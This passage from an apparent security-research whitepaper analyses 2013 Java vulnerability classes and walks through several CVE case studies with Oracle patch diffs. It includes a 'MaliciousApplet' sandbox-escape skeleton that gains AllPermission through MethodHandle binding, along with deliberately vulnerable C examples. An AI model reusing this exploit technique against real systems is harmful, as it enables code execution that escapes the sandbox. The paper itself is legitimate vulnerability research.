passed attacker-supplied data to the reflection APIs in order to gain access and execute functionality that was normally restricted. This sub-category is by far the most common of the sandbox-related issues. CWE-272 sub-category was assigned to vulnerabilities that CWE-265: Privilege / Sandbox Issues CWE-470: Unsafe Reflection CWE-272: Least Privilege Violation CWE-843: Type Confusion CWE-120: Buffer Overflow CWE-122: Heap-based Buffer Overflow CWE-121: Stack-based Buffer Overflow CWE-119: Improper Restrictions on Buffer Operations CWE-787: Out- of-bounds Write CWE-125: Out- of-bounds Read CWE-822: Untrusted Pointer Dereference CWE-190: Integer Overflow Other Less Common CWEs CWE-114: Process Control CWE-78: OS Command Injection CWE-416: Use- After-Free Java Every-Days: Exploiting Software Running on 3 Billion Devices abused Java’s doPrivileged blocks in order to execute code at higher privilege than what was intended by the application. Finally, the CWE-843 sub-category was assigned to the vulnerabilities that confuse Java’s type system or bypass built-in security checks using various techniques including the deserialization of attacker-supplied data. Different flavors of CWE-122 Heap-based Buffer Overflows and CWE-787 Out-of-bounds Writes were also detected which allowed for the creation of further sub-categories. In the case of CWE-122, the root cause of the access violation could be traced to two unique categories: • An integer overflow (CWE-190) causing the allocation of a smaller than intended buffer • Incorrect arithmetic operation resulting in writing past a statically sized buffer Similar issues exist for CWE-787. Researchers were also able to leverage either a CWE-190 Integer Overflow or an incorrect arithmetic operation to gain remote code execution via an out-of-bounds write. One of the notable trends was the use of integer overflow, which accounted for over one-quarter of the vulnerabilities identified as CWE-122 and CWE-787. Figure 7 - Vulnerabilities Existing From Integer Overflow CWE-265 Breakdown and Historical Timeline The most prevalent issue in the framework is the ability to bypass the sandbox and execute arbitrary code on the host machine. About half of the vulnerabilities in the sample set had this designation. Not only was it popular with the ZDI researchers, but attackers also seemed to pick up on this weakness with nine CVEs related to the various styles of sandbox bypasses under active exploitation across the last three years. In early 2012, Security Explorations highlighted the sandbox bypass issue with the release of their research paper focused on this weakness. CWE-190 Integer Overflow Static Buffer Overrun CWE-787 CWE-122 Java Every-Days: Exploiting Software Running on 3 Billion Devices Figure 8 - Timeline of ZDI Submission vs. Actively Exploited CVEs for CWE-265 ZDI researchers discovered these vulnerability types as early as April 2011 or simply stated - Oracle has known about these weaknesses for some time. As previously discussed, the unsafe reflection style of sandbox bypass is the most common technique being utilized with about 60% of the CWE-265 market share. CWE-470 Unsafe Reflection is also becoming the vector of choice for exploit kit authors with three of the most recent active targeted CVEs falling into this category (CVE-2012-5076, CVE-2013-0422, and CVE-2013-0431). Figure 9 - CWE-265 Sub-category Breakdown There is a good reason for the focus on these vulnerability types in exploit kits and targeted attacks. They do not require the attacker to exploit memory corruption style vulnerabilities or bypass modern operating system mitigation techniques like Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR). They do not need to write the exploit to a specific patch level of the operating system. This, arguably, takes away some of the challenges in place with other vulnerability classes and provides the attacker a “write once, own everywhere” !"#$%&'%$&(&)* !"#$%&''$+(,,* !"#$%&'%$')%+* !"#$%&'%$,-.'* !"#$%&'%$(&)-* !"#$%&'+$&,%%* !"#$%&'+$&,+'* %&''* %&'%* %&'+* ,* .* CWE-470 Unsafe Reflection CWE-272 Least Privilege Violation CWE-843 Type Confusion Java Every-Days: Exploiting Software Running on 3 Billion Devices exploit. In the end, focusing on discovering and productizing these types of issues nets the attacker a high return- on-investment. Extrapolating Sub-component Weaknesses Vulnerability Class to Sub-component Mapping An individual needs to understand which packages make up the most vulnerable sub-components to fully grasp Java’s attack surface. A sub-component’s packages and classes can also be extremely useful when trying to analyze a security update from Oracle as a researcher can greatly reduce the scope of the code that needs to be audited to find the patched vulnerability. Oracle’s Java SE documentation provides some clarity on the mapping of packages to sub-components. For example, the documentation states that the 2D sub-component7 is made up of the following packages along with several classes from java.awt: • java.awt.color • java.awt.font • java.awt.geom • java.awt.image • java.awt.print • javax.print • java.awt.image.renderable As stated previously, the 2D sub-component is responsible for some of the most severe vulnerabilities in the architecture. There is good reason for this designation in that this sub-component is responsible for image processing, International Color Consortium (ICC) Profile handling, OpenType and TrueType font processing. This type of parsing commonly results in memory corruption vulnerabilities but the question is: Is this the case for Java? One issue is that a detailed breakdown of the contents and packages of a sub-component is not readily available for all the sub-components in the architecture. Our sample set allowed us to solve this matter. The table below highlights the vulnerable packages contained within a sub-component. Also, it maps the common vulnerability types discovered in those packages. 7 http://docs.oracle.com/javase/7/docs/technotes/guides/2d/spec.html Java Every-Days: Exploiting Software Running on 3 Billion Devices Sub- component Package Common Vulnerability Types 2D java.awt.font java.awt.color java.awt.image sun.awt.image CWE-122: Heap-based Buffer Overflow CWE-787: Out-of-bounds Write CWE-121: Stack-based Buffer Overflow AWT java.awt sun.awt CWE-265: Privilege / Sandbox Issues Beans java.beans sun.beans.finder sun.beans.decode CWE-265: Privilege / Sandbox Issues Concurrency java.util.concurrent CWE-265: Privilege / Sandbox Issues CORBA com.sun.corba.se.impl.orbutil.threadpool CWE-265: Privilege / Sandbox Issues Deployment sun.plugin2.applet Web Start CWE-114: Process Control CWE-78: OS Command Injection Deserialization Sun.misc CWE-265: Privilege / Sandbox Issues HotSpot HotSpot Compiler CWE-265: Privilege / Sandbox Issues JavaFX com.sun.webpane.platform com.sun.scenario.effect com.sun.prism.d3d CWE-822: Untrusted Pointer Dereference CWE-122: Heap-based Buffer Overflow JAXP com.sun.org.apache.xalan.internal.xsltc.trax CWE-265: Privilege / Sandbox Issues JAX-WS com.sun.org.glassfish.external.statistics.impl com.sun.org.glassfish.gmbal CWE-265: Privilege / Sandbox Issues JMX com.sun.jmx.mbeanserver com.sun.jmx.remote.internal CWE-265: Privilege / Sandbox Issues JRE java.util.zip CWE-121: Stack-based Buffer Overflow Libraries java.lang java.lang.reflect java.lang.invoke CWE-265: Privilege / Sandbox Issues Scripting javax.script sun.org.mozilla.javascript.internal CWE-265: Privilege / Sandbox Issues Sound javax.sound.midi com.sun.media.jfxmedia.locator com.sun.media.jfxmediaimpl.platform.gstreamer com.sun.media.sound CWE-265: Privilege / Sandbox Issues CWE-787: Out-of-bounds Write CWE-416: Use-After-Free Figure 10 - Sub-component Weaknesses Looking specifically at the 2D sub-component, we see that all classic memory corruption issues show up as common vulnerability types but not every package in the sub-component had a vulnerability associated with it. About a dozen issues occurred during the parsing of a font file and a couple were the result of mishandling ICC Java Every-Days: Exploiting Software Running on 3 Billion Devices values. In our sample set, process control and command injection vulnerabilities were the most common in the Deployment sub-component and, more specifically, they occurred while parsing Java Network Launching Protocol (JNLP) files. The sound sub-component is interesting because it suffered from a wide variety of issues including a memory corruption issues and multiple sandbox bypass vulnerabilities. As we just had over 120 vulnerabilities in our sample, we cannot say definitively that other weaknesses do not exist in a specific sub-component’s packages. However, we can state that they were susceptible in the past to a large number of a specific vulnerability type. Top 7 Vulnerability Classes in the Java Architecture Based on our available information the top vulnerability classes and affected sub-components can be identified and targeted by the research community. The order of these issues can be further tuned by utilizing the sub-categories generated for the major weaknesses in the Java architecture. The table below provides a more accurate view into Java’s attack surface. Rank Common Weakness Enumeration Sub-Category Sub-components 1 CWE-265: Privilege / Sandbox Issues CWE-470: Unsafe Reflection AWT Beans HotSpot JAXP JAX-WS JMX Libraries 2 CWE-265: Privilege / Sandbox Issues CWE-272: Least Privilege Violation CORBA JMX Libraries Scripting Sound 3 CWE-122: Heap-based Buffer Overflow N/A 2D JavaFX 4 CWE-787: Out-of-bounds Write N/A 2D Sound 5 CWE-822: Untrusted Pointer Dereference N/A JavaFX 6 CWE-122: Heap-based Buffer Overflow CWE-190: Integer Overflow 2D 7 CWE-265: Privilege / Sandbox Issues CWE-843: Type Confusion AWT Concurrency Deserialization Hotspot Libraries Scripting Figure 11 - Top 7 Vulnerability Classes in Java Java Every-Days: Exploiting Software Running on 3 Billion Devices Java Sub-component Weaknesses With this detailed understanding of the problems truly affecting the users of Java, the next step is to walk through five case studies to demonstrate the most common vulnerability types being discovered. These detailed case studies not only provide an in-depth look at a specific Java vulnerability, through patch diffing, they demonstrate how Oracle addressed the issue. Libraries Sub-component Weaknesses CVE-2013-2436 - Privilege / Sandbox Issues due to Unsafe Reflection Core Issue Before explaining how unsafe reflection can lead to privilege and sandbox issues lets look at an example of unsafe reflection: We have a function, cwe_470, that takes a Class, a String, and an Object. This function performs no validation and yet it will execute an arbitrary method on an arbitrary class with the sole requirement being that the function take a single argument. One potential abuse of this would be to execute a method that is package-private, assuming that the given class and cwe_470’s class are both in the same package. Root Cause Analysis CVE-2013-2436 is an example of unsafe reflection leading towards sandbox and privilege issues. Exploitation of this CVE requires the use of Security Exploration's Issue 548. This issue was reported independently to the Zero Day Initiative and seems to collide with Security Exploration's Issue 559. Usage of Security Exploration's Issue 54 requires the creation of arbitrary Java byte code, which can be done using the ASM framework10. With the ability to create arbitrary Java byte code, we create a custom class that uses the invokedynamic Java opcode to pass a MethodHandle to a protected method to our Applet. At this point, we can use MethodHandle.bindTo to bind the MethodHandle to a class of our choosing. The failure lies in not properly enforcing types when binding an argument to a MethodHandle. When binding a MethodHandle to an Object, rather than 8 http://www.security-explorations.com/materials/se-2012-01-54.pdf 9 http://www.security-explorations.com/materials/se-2012-01-50-60.zip 10 http://asm.ow2.org/ Object cwe_470(Class<?> klass, String methodName, Object argument) { return klass.getMethod(methodName).invoke(argument); } Java Every-Days: Exploiting Software Running on 3 Billion Devices verifying both the MethodHandle and Object are compatible, it only verifies that the Object is compatible. By using Security Exploration's Issue 54 to create a MethodHandle for a protected method in a superclass, we can create MethodHandles to protected methods in a ClassLoader. The MethodHandle we receive will be bound to a subclass that cannot be instantiated. However, this can be bypassed by binding the MethodHandle to a ClassLoader. Since no cast is performed to force the MethodHandle to stay bound to the subclass, we can make use of the MethodHandle to define a new class with a custom ProtectionDomain. Exploitation of this bug will require three distinct classes. One class is the custom generated class that uses the invokedynamic opcode to pass a MethodHandle to a protected method to our malicious Applet. We will target ClassLoader.defineClass as our protected method. Our malicious output must start off by calling a method in the custom generated class so that we have access to a MethodHandle to call defineClass. At that point, we can call MethodHandle.bindTo on our Applet's ClassLoader to change the restrictions on the MethodHandle. The last thing to do is to use the MethodHandle to define a class with a ProtectionDomain that contains AllPermission, allowing the newly loaded class to disable the SecurityManager as it has full privileges. (See malicious applet sample below) public class MaliciousApplet extends Applet { private static MethodHandle defineClassHandle; public static CallSite setDefineClassHandle(MethodHandles.Lookup caller, String name, MethodType type, MethodHandle handle) throws NoSuchMethodException, IllegalAccessException { defineClassHandle = handle; return null } public void init() { try { InvokeDynamic.getClassHandle(); } catch (Exception e) { } try { Permissions permissions = new Permissions(); permissions.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions); ClassLoader myClassLoader = MaliciousApplet.class.getClassLoader(); MethodHandle boundMHandle = defineClassHandle.bindTo(myClassLoader); Class evilClass = (Class)boundMHandle.invoke("Evil", CLASS_BYTES, 0, CLASS_BYTES.length, protectionDomain); // At this point you would invoke a method within the evilClass } catch (Exception e) { } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices The Applet is initialized and executes the getClassHandle method in the custom class. getClassHandle method calls setDefineClassHandle with the handle parameter set to a MethodHandle that points to ClassLoader.defineClass. The Applet then has access to ClassLoader.defineClass through the defineClassHandle MethodHandle. We can then use the bindTo method to bind the MethodHandle to the Applet's ClassLoader and then invoke the defineClass method on the bytes for our third class. Since we have specified a ProtectionDomain that contains AllPermission, the methods within our Evil class will be able to disable the SecurityManager and fully disable the sandbox. Patch Analysis CVE-2013-2436 was patched in JDK 7u21 through the addition of a cast within sun.invoke.util.Wrapper's convert method if the input class is not an interface. The following is a snippet of the convert method prior to patching. Here is the patched version of the convert method: private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { if (this == OBJECT) { localObject1 = paramObject; return localObject1; } Object localObject1 = wrapperType(paramClass); if (((Class)localObject1).isInstance(paramObject)) { localObject2 = paramObject; return localObject2; } Object localObject2 = paramObject.getClass(); if (!paramBoolean) { localObject3 = findWrapperType((Class)localObject2); if ((localObject3 == null) || (!isConvertibleFrom((Wrapper)localObject3))) { throw newClassCastException((Class)localObject1, (Class)localObject2); } } Object localObject3 = wrap(paramObject); assert (localObject3.getClass() == localObject1); return localObject3; } private <T> T convert(Object paramObject, Class<T> paramClass, boolean paramBoolean) { if (this == OBJECT) { assert (!paramClass.isPrimitive()); if (!paramClass.isInterface()) { paramClass.cast(paramObject); } ... } ... } Java Every-Days: Exploiting Software Running on 3 Billion Devices As a result of the new checks, a ClassCastException will be thrown during an attempt to trigger this CVE. This makes sense given a cast is now occurring where one was previously not performed. This is due to the ClassLoader instance being cast to the InvokeDynamic class. CVE-2013-1484 - Privilege / Sandbox Issues due to Least Privilege Violation Core Issue To understand how least privilege violation leads to privilege and sandbox issues we must explain what they are individually. Privilege and sandbox issues refer to any situation where code within the sandbox can run outside of the sandbox. Least privilege violation refers to the execution of code with higher privileges than intended. The following function illustrates the explanation: Here we have a function, cwe_272, that takes a single argument. The argument is then added to the string “Processed “ within a doPrivileged block and is then returned. If cwe_272 were part of the JDK, then an attacker could run code with higher privileges by calling cwe_272 with an object that had a custom toString function. The malicious object’s toString function would be implicitly called when the object is added to “Processed “, resulting in least privilege violation. Chaining this to result in privilege and sandbox issues becomes a matter of disabling the SecurityManager. Root Cause Analysis CVE-2013-148411 is an example of least privilege violation leading to privilege and sandbox issues. There are more than one issues leading to the exploitation of this CVE. The primary issue lies in the fact that Proxy.newProxyInstance does not save the caller's AccessControlContext. Leveraging this requires the ability to execute a proxy's method without any user frames on the stack. However, before reaching that point you must be able to create an InvocationHandler that can execute arbitrary statements. This is possible through the use of the MethodHandleProxies class. The MethodHandleProxies.asInterfaceInstance method is used to create an instance of the InvocationHandler interface that has a MethodHandle bound to its invoke method. Once you ensure that the bound MethodHandle will be called with no user frames on the stack Proxy.newProxyInstance can be called on the InvocationHandler instance. 11 http://www.oracle.com/technetwork/topics/security/javacpufeb2013update-1905892.html String cwe_272(final Object o) { return (String)AccessController.doPrivileged(new PrivilegedAction()) { public String run() { return "Processed " + o; } }; } Java Every-Days: Exploiting Software Running on 3 Billion Devices Here is an example of using MethodHandles: At this point a custom interface to be used along with the InvocationHandler instance in a call to Proxy.new.ProxyInstance is all that is required. The custom interface chosen must result in the InvocationHandler being invoked without user frames on the stack. Patch Analysis CVE-2013-1484 was patched in JDK 7u15. Oracle patched this vulnerability by adding a slew of checks. The following snippets show the changes. DesiredClass desiredClassInstance = new DesiredClass() MethodType methodType = MethodType.methodType(ReturnClass.class, ParameterClass.class); MethodHandle methodHandle = MethodHandles.lookup().findVirtual(DesiredClass.class, "instanceMethod", methodType); methodHandle = methodHandle.bindTo(desiredClassInstance); methodHandle = MethodHandles.dropArguments(methodHandle, 0, Object.class, Method.class, Object[].class); InvocationHandle iHandler = MethodHandleProxies.asInterfaceInstance(InvocationHandler.class, methodHandle); //MethodHandles public MethodHandle findVirtual(Class<?> paramClass, String paramString, MethodType paramMethodType) throws NoSuchMethodException, IllegalAccessException { MemberName localMemberName = resolveOrFail(paramClass, paramString, paramMethodType, false); checkSecurityManager(paramClass, localMemberName); Class localClass = findBoundCallerClass(localMemberName); return accessVirtual(paramClass, localMemberName, localClass); } Class<?> findBoundCallerClass(MemberName paramMemberName) { Class localClass = null; if (MethodHandleNatives.isCallerSensitive(paramMemberName)) { localClass = (this.allowedModes & 0x2) != 0 ? this.lookupClass : getCallerClassAtEntryPoint(true); } return localClass; } Java Every-Days: Exploiting Software Running on 3 Billion Devices The MethodHandles class was modified to make use of a new method, findBoundCallerClass, which uses the Reflection API to get the caller class of the method handle it is bound to. The MethodHandleProxies class had the maybeBindCaller method introduced to it and the asInterfaceInstance method was modified to use it. The MethodHandleImpl class had its bindCaller method modified to throw an error if the supplied Class argument is null. At this point, an attempt to exploit this CVE would result in the bound caller class being null which would eventually result in an InternallError being thrown within MethodHandleImpl's bindCaller method. 2D Sub-component Weakness //MethodHandleProxies public static <T> T asInterfaceInstance(final Class<T> paramClass, MethodHandle paramMethodHandle) { if ((!paramClass.isInterface()) || (!Modifier.isPublic(paramClass.getModifiers()))) throw new IllegalArgumentException("not a public interface: " + paramClass.getName()); MethodHandle localMethodHandle1; if (System.getSecurityManager() != null) { localObject1 = Reflection.getCallerClass(2); localObject2 = localObject1 != null ? ((Class)localObject1).getClassLoader() : null; ReflectUtil.checkProxyPackageAccess((ClassLoader)localObject2, new Class[] { paramClass }); localMethodHandle1 = maybeBindCaller(paramMethodHandle, (Class)localObject1); } else { localMethodHandle1 = paramMethodHandle; } ... } private static MethodHandle maybeBindCaller(MethodHandle paramMethodHandle, Class<?> paramClass) { if ((paramClass == null) || (paramClass.getClassLoader() == null)) { return paramMethodHandle; } MethodHandle localMethodHandle = MethodHandleImpl.bindCaller(paramMethodHandle, paramClass); if (paramMethodHandle.isVarargsCollector()) { MethodType localMethodType = localMethodHandle.type(); int i = localMethodType.parameterCount(); return localMethodHandle.asVarargsCollector(localMethodType.parameterType(i - 1)); } return localMethodHandle; } //MethodHandleImpl static MethodHandle bindCaller(MethodHandle paramMethodHandle, Class<?> paramClass) { if ((paramClass == null) || (paramClass.isArray()) || (paramClass.isPrimitive()) || (paramClass.getName().startsWith("java.")) || (paramClass.getName().startsWith("sun."))) { throw new InternalError(); } MethodHandle localMethodHandle1 = prepareForInvoker(paramMethodHandle); MethodHandle localMethodHandle2 = (MethodHandle)CV_makeInjectedInvoker.get(paramClass); return restoreToType(localMethodHandle2.bindTo(localMethodHandle1), paramMethodHandle.type()); } Java Every-Days: Exploiting Software Running on 3 Billion Devices CVE-2013-0809 – Heap-based Buffer Overflow due to Integer Overflow Core Issue Integer overflow can lead to a buffer overflow; however, you must understand what an integer overflow is and how it occurs. Here is a single line of code that will help with the explanation: We will assume that an int is four bytes in size which means that with the unsigned attribute applied to it, its range of legal values is from 0 to 4294967295 inclusive. This means that 4294967295 + 1 can not be properly represented with an unsigned int. As such, when the processor attempts to add the two together, it will wrap around leaving x as zero with the carry flag set to one. If x was a signed integer then the range of valid values would be from -2147483648 to 2147483647, inclusive, and an overflow would result in the overflow flag being set to one. One way of looking at it is to imagine an implicit modulo 4294967296 around the operation such that 4294967295 + 1 becomes (4294967295 + 1) % 4294967296. Now that we have the basics of an integer overflow, we can look at how it can result in a buffer overflow. Here is a simple function to help with the explanation: We have a function, cwe190_to_cwe122, that takes three arguments. If x * y is greater than 0x100, then we allocate a buffer and copy 0x100 bytes into it. The problem lies in the assumption that x*y*sizeof(int) will not cause an integer overflow. As an attacker, all we have to do is provide x and y such that x*y is greater than 0x100 but such that (x*y*4) % 42949674296 is less than 0x100. At that point we will copy 0x100 bytes from our input buffer into a buffer that is much smaller, resulting in a buffer overflow. Root Cause Analysis Integer overflow can be defended against by validating the arguments used to compute the size prior to allocating the buffer. In fact, Sun added two C macros to the AWT mediaLib sub-component to help defend against this in 2007. Both macros were updated in 2010 due to an integer overflow bug discovered at the time. A copy of one of the macros was added to the AWT splashscreen sub-component in 2009 due to another integer overflow bug. In February of 2013 they added two more macros to aid against integer overflow, SAFE_TO_MULT and SAFE_TO_ADD. unsigned int x = 4294967295 + 1; void cwe190_to_cwe122(int *input, int x, int y) { if (x*y > 0x100) { // If x*y*4 is greater than 4294967296, then we integer wrap int *buf = malloc(x*y*sizeof(int)); memcpy(buf, input, 0x100); } } Java Every-Days: Exploiting Software Running on 3 Billion Devices CVE-2013-080912 is an example of an integer overflow resulting in a heap buffer overflow. The root of the issue lies in the mlib_ImageCreate function within jdk/src/share/native/sun/awt/medialib/mlib_ImageCreate.c. Here are the relevant portions of the function: Since mlib_s32 is a typedef for int, we can see that an overflow can occur if width * channels * 4 * height is greater than 4294967295. 12 http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32 channels, mlib_s32 width, mlib_s32 height) { if (width <= 0 || height <= 0 || channels < 1 || channels > 4) { return NULL; }; ... switch (type) { ... case MLIB_INT: wb = width * channels * 4; break; ... } ... data = mlib_malloc(wb * height); ... } static int allocateArray(JNIEnv *env, BufImageS_t *imageP, mlib_image **mlibImagePP, void **dataPP, int isSrc, int cvtToDefault, int addAlpha) { void *dataP; unsigned char *cDataP; RasterS_t *rasterP = &imageP->raster; ColorModelS_t *cmP = &imageP->cmodel; int dataType = BYTE_DATA_TYPE; int width; int height; HintS_t *hintP = &imageP->hints; *dataPP = NULL; width = rasterP->width; height = rasterP->height; if (cvtToDefault) { int status = 0; *mlibImagePP = (*sMlibSysFns.createFP)(MLIB_BYTE, 4, width, height); cDataP = (unsigned char *) mlib_ImageGetData(*mlibImagePP); /* Make sure the image is cleared */ memset(cDataP, 0, width*height*4); ... return cvtCustomToDefault(env, imageP, -1, cDataP); } ... } Java Every-Days: Exploiting Software Running on 3 Billion Devices sMlibSysFns.createFP is a pointer to the vulnerable mlib_ImageCreate function. We can see that we then call mlib_ImageGetData on the value returned, and then immediately call memset on the buffer returned. At the end of the if block, we return the value returned by the call to cvtCustomToDefault which eventually performs a memcpy and thus performs the controlled overflow. Patch Analysis CVE-2013-0809 was patched in JDK 7u17. To fix the vulnerability, Oracle introduced the SAFE_TO_MULT macro and updated the mlib_ImageCreate function to use it. Here is the updated snippet of the mlib_ImageCreate function, which shows the usage of the SAFE_TO_MULT macro: static int cvtCustomToDefault(JNIEnv *env, BufImageS_t *imageP, int component, unsigned char *dataP) { ColorModelS_t *cmP = &imageP->cmodel; RasterS_t *rasterP = &imageP->raster; int y; jobject jpixels = NULL; jint *pixels; unsigned char *dP = dataP; #define NUM_LINES 10 int numLines = NUM_LINES; int nbytes = rasterP->width*4*NUM_LINES; for (y=0; y < rasterP->height; y+=numLines) { /* getData, one scanline at a time */ if (y+numLines > rasterP->height) { numLines = rasterP->height - y; nbytes = rasterP->width*4*numLines; } jpixels = (*env)->CallObjectMethod(env, imageP->jimage, g_BImgGetRGBMID, 0, y, rasterP->width, numLines, jpixels,0, rasterP->width); if (jpixels == NULL) { JNU_ThrowInternalError(env, "Can't retrieve pixels."); return -1; } pixels = (*env)->GetPrimitiveArrayCritical(env, jpixels, NULL); memcpy(dP, pixels, nbytes); dP += nbytes; (*env)->ReleasePrimitiveArrayCritical(env, jpixels, pixels, JNI_ABORT); } return 0; } Java Every-Days: Exploiting Software Running on 3 Billion Devices We see that SAFE_TO_MULT is now used at every step of calculating the size of the buffer and we can also see that NULL will be returned instead of a pointer to an under-allocated buffer. CVE-2013-2420 - Out-of-bounds Write due to Integer Overflow Core Issue These two CWEs describe the condition of an integer overflow resulting in writing data outside of the bounds of an allocated buffer. Building on just an integer overflow from the previous section we provide a simple function to help with the explanation of this issue. We have a function, cwe190_to_cwe787, that takes four arguments. This example is incredibly contrived, but x and y are multiplied and the product is added to the base pointer to determine where we write a zero. The function tries to be safe by only writing the zero if x and y are both above zero and if the calculated pointer is less than the end of the buffer. Unfortunately the function fails to consider an overflow when multiplying x and y, allowing for an out-of- bound write at an address lower than the base pointer. mlib_image *mlib_ImageCreate(mlib_type type, mlib_s32 channels, mlib_s32 width, mlib_s32 height) { if (!SAFE_TO_MULT(width, channels)) { return NULL; } wb = width * channels; ... switch (type) { ... case MLIB_INT: if (!SAFE_TO_MULT(wb, 4)) { return NULL; } wb *= 4; break; ... } ... if (!SAFE_TO_MULT(wb, height)) { return NULL; } data = mlib_malloc(wb * height); if (data == NULL) { return NULL; } ... } void cwe190_to_cwe787(int *base, int *end, int x, int y) { int *pbuf = base + x * y; if (x > 0 && y > 0 && pbuf <= end) { *pbuf = 0; } } Java Every-Days: Exploiting Software Running on 3 Billion Devices Root Cause Analysis CVE-2013-242013 is an example of an integer overflow leading towards an out-of-bounds write. The root of the issue lies in the setICMpixels native function for the sun.awt.image.ImageRepresentation class. Here are the relevant portions of the function, which is implemented within jdk/src/share/native/sun/awt/image/awt_ImageRep.c: sStride is set to the input jict object's scanlineStride field, which is then used to calculate and increment the destination pointer without any further validation. Patch Analysis CVE-2013-2420 was patched in JDK 7u21. Oracle patched the vulnerability by checking all input supplied by the user. This is a good example of Oracle’s attempt at proactively fixing bugs as they went from validating very few of the input arguments to validating everything. To aid the new input validation checks, they added three macros. Here 13 http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html JNIEXPORT void JNICALL Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, jint x, jint y, jint w, jint h, jintArray jlut, jbyteArray jpix, jint off, jint scansize, jobject jict) { unsigned char *srcData = NULL; int *dstData; int *dstP, *dstyP; unsigned char *srcyP, *srcP; int *srcLUT = NULL; int yIdx, xIdx; int sStride; int *cOffs; int pixelStride; jobject joffs = NULL; jobject jdata = NULL; sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID); pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID); joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID); jdata = (*env)->GetObjectField(env, jict, g_ICRdataID); srcLUT = (int *) (*env)->GetPrimitiveArrayCritical(env, jlut, NULL); srcData = (unsigned char *) (*env)->GetPrimitiveArrayCritical(env, jpix, NULL); cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL); dstData = (int *) (*env)->GetPrimitiveArrayCritical(env, jdata, NULL); dstyP = dstData + cOffs[0] + y*sStride + x*pixelStride; srcyP = srcData + off; for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) { srcP = srcyP; dstP = dstyP; for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) { *dstP = srcLUT[*srcP++]; } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices is the updated snippet of the setICMpixels function, as well as the three macros, which shows that the vulnerability was patched through increased input validation. #define CHECK_STRIDE(yy, hh, ss) if ((ss) != 0) { int limit = 0x7fffffff / ((ss) > 0 ? (ss) : -(ss)); if (limit < (yy) || limit < ((yy) + (hh) - 1)) { /* integer oveflow */ return JNI_FALSE; } } #define CHECK_SRC() do { int pixeloffset; if (off < 0 || off >= srcDataLength) { return JNI_FALSE; } CHECK_STRIDE(0, h, scansize); /* check scansize */ pixeloffset = scansize * (h - 1); if ((w - 1) > (0x7fffffff - pixeloffset)) { return JNI_FALSE; } pixeloffset += (w - 1); if (off > (0x7fffffff - pixeloffset)) { return JNI_FALSE; } } while (0) #define CHECK_DST(xx, yy) do { int soffset = (yy) * sStride; int poffset = (xx) * pixelStride; if (poffset > (0x7fffffff - soffset)) { return JNI_FALSE; } poffset += soffset; if (dstDataOff > (0x7fffffff - poffset)) { return JNI_FALSE; } poffset += dstDataOff; if (poffset < 0 || poffset >= dstDataLength) { return JNI_FALSE; } } while (0) Java Every-Days: Exploiting Software Running on 3 Billion Devices JNIEXPORT jboolean JNICALL Java_sun_awt_image_ImageRepresentation_setICMpixels(JNIEnv *env, jclass cls, jint x, jint y, jint w, jint h, jintArray jlut, jbyteArray jpix, jint off, jint scansize, jobject jict) { unsigned char *srcData = NULL; jint srcDataLength; int *dstData; jint dstDataLength; jint dstDataOff; int *dstP, *dstyP; unsigned char *srcyP, *srcP; int *srcLUT = NULL; int yIdx, xIdx; int sStride; int *cOffs; int pixelStride; jobject joffs = NULL; jobject jdata = NULL; if (x < 0 || w < 1 || (0x7fffffff - x) < w) { return JNI_FALSE; } if (y < 0 || h < 1 || (0x7fffffff - y) < h) { return JNI_FALSE; } sStride = (*env)->GetIntField(env, jict, g_ICRscanstrID); pixelStride = (*env)->GetIntField(env, jict, g_ICRpixstrID); joffs = (*env)->GetObjectField(env, jict, g_ICRdataOffsetsID); jdata = (*env)->GetObjectField(env, jict, g_ICRdataID); if (JNU_IsNull(env, joffs) || (*env)->GetArrayLength(env, joffs) < 1) { /* invalid data offstes in raster */ return JNI_FALSE; } srcDataLength = (*env)->GetArrayLength(env, jpix); dstDataLength = (*env)->GetArrayLength(env, jdata); cOffs = (int *) (*env)->GetPrimitiveArrayCritical(env, joffs, NULL); if (cOffs == NULL) { return JNI_FALSE; } dstDataOff = cOffs[0]; /* the offset array is not needed anymore and can be released */ (*env)->ReleasePrimitiveArrayCritical(env, joffs, cOffs, JNI_ABORT); joffs = NULL; cOffs = NULL; /* do basic validation: make sure that offsets for * first pixel and for last pixel are safe to calculate and use */ CHECK_STRIDE(y, h, sStride); CHECK_STRIDE(x, w, pixelStride); CHECK_DST(x, y); CHECK_DST(x + w -1, y + h - 1); /* check source array */ CHECK_SRC(); srcLUT = (int *) (*env)->GetPrimitiveArrayCritical(env, jlut, NULL); srcData = (unsigned char *) (*env)->GetPrimitiveArrayCritical(env, jpix, NULL); dstData = (int *) (*env)->GetPrimitiveArrayCritical(env, jdata, NULL); dstyP = dstData + dstDataOff + y*sStride + x*pixelStride; srcyP = srcData + off; for (yIdx = 0; yIdx < h; yIdx++, srcyP += scansize, dstyP+=sStride) { srcP = srcyP; dstP = dstyP; for (xIdx = 0; xIdx < w; xIdx++, dstP+=pixelStride) { *dstP = srcLUT[*srcP++]; } } } Java Every-Days: Exploiting Software Running on 3 Billion Devices We see that they now check for integer overflow at every step of calculating the source and destination pointers and we can also see that the function will exit early in the presence of input that will cause an integer overflow. One potential path towards exploiting this vulnerability would be using the out-of-bounds write to replace a legitimate AccessControlContext with a malicious AccessControlContext that grants AllPermission. JavaFX Sub-component Weakness CVE-2013-2428 – Untrusted Pointer Dereference Core Issue CWE-822: Untrusted Pointer Dereference refers to a vulnerability that occurs when operations can be performed on a memory address of the attacker's choosing. The following code snippet will help with the explanation of this CWE. Within the constructor of the Gullible class, we execute the getDataPointer native function that returns a pointer to a data buffer. The dispose function executes the free native function if the dataPointer is not zero. The issue here lies in the visibility of the dataPointer instance variable. Since the variable is protected and since the class itself is public, the Gullible class could be subclassed. The following code snippet shows how this would work. Since dataPointer is a protected instance variable, the Malicious subclass is able to modify it. The cwe_822 